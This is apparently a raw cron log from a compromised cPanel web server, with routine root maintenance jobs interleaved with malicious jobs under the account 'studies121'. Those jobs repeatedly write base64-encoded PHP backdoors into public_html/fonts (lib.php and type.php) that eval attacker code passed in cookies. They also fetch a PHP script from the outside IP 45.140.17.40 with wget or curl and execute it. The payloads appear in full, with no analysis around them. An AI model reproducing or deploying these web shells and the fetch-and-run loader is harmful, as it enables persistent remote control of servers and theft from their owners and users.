Sep 21 04:03:01 ip-184-168-122-23 CROND[27778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:04:01 ip-184-168-122-23 CROND[27894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:04:01 ip-184-168-122-23 CROND[27895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:04:01 ip-184-168-122-23 CROND[27896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:04:01 ip-184-168-122-23 CROND[27898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:04:01 ip-184-168-122-23 CROND[27900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:05:01 ip-184-168-122-23 CROND[28134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:05:01 ip-184-168-122-23 CROND[28142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:06:01 ip-184-168-122-23 CROND[28270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:06:01 ip-184-168-122-23 CROND[28272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:06:01 ip-184-168-122-23 CROND[28275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:06:01 ip-184-168-122-23 CROND[28273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:06:01 ip-184-168-122-23 CROND[28274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:07:01 ip-184-168-122-23 CROND[28400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:07:01 ip-184-168-122-23 CROND[28403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:07:01 ip-184-168-122-23 CROND[28402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:07:01 ip-184-168-122-23 CROND[28404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:08:02 ip-184-168-122-23 CROND[28540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:08:02 ip-184-168-122-23 CROND[28541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:08:02 ip-184-168-122-23 CROND[28543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:08:02 ip-184-168-122-23 CROND[28544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:08:02 ip-184-168-122-23 CROND[28545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:09:01 ip-184-168-122-23 CROND[28691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:09:01 ip-184-168-122-23 CROND[28692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:09:01 ip-184-168-122-23 CROND[28693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:09:01 ip-184-168-122-23 CROND[28694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:09:01 ip-184-168-122-23 CROND[28695]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:10:01 ip-184-168-122-23 CROND[28973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:10:01 ip-184-168-122-23 CROND[28976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:10:01 ip-184-168-122-23 CROND[28977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:11:02 ip-184-168-122-23 CROND[29266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:11:02 ip-184-168-122-23 CROND[29269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:11:02 ip-184-168-122-23 CROND[29271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:11:02 ip-184-168-122-23 CROND[29268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:12:01 ip-184-168-122-23 CROND[29642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:12:01 ip-184-168-122-23 CROND[29643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:12:01 ip-184-168-122-23 CROND[29645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:12:01 ip-184-168-122-23 CROND[29644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:12:01 ip-184-168-122-23 CROND[29647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:13:01 ip-184-168-122-23 CROND[29945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:13:01 ip-184-168-122-23 CROND[29947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:13:01 ip-184-168-122-23 CROND[29948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:13:01 ip-184-168-122-23 CROND[29949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:14:01 ip-184-168-122-23 CROND[30180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:14:01 ip-184-168-122-23 CROND[30182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:14:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:14:01 ip-184-168-122-23 CROND[30184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:14:01 ip-184-168-122-23 CROND[30185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:15:01 ip-184-168-122-23 CROND[30417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:15:01 ip-184-168-122-23 CROND[30419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:15:01 ip-184-168-122-23 CROND[30421]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 04:15:01 ip-184-168-122-23 CROND[30423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:15:01 ip-184-168-122-23 CROND[30424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:15:01 ip-184-168-122-23 CROND[30427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
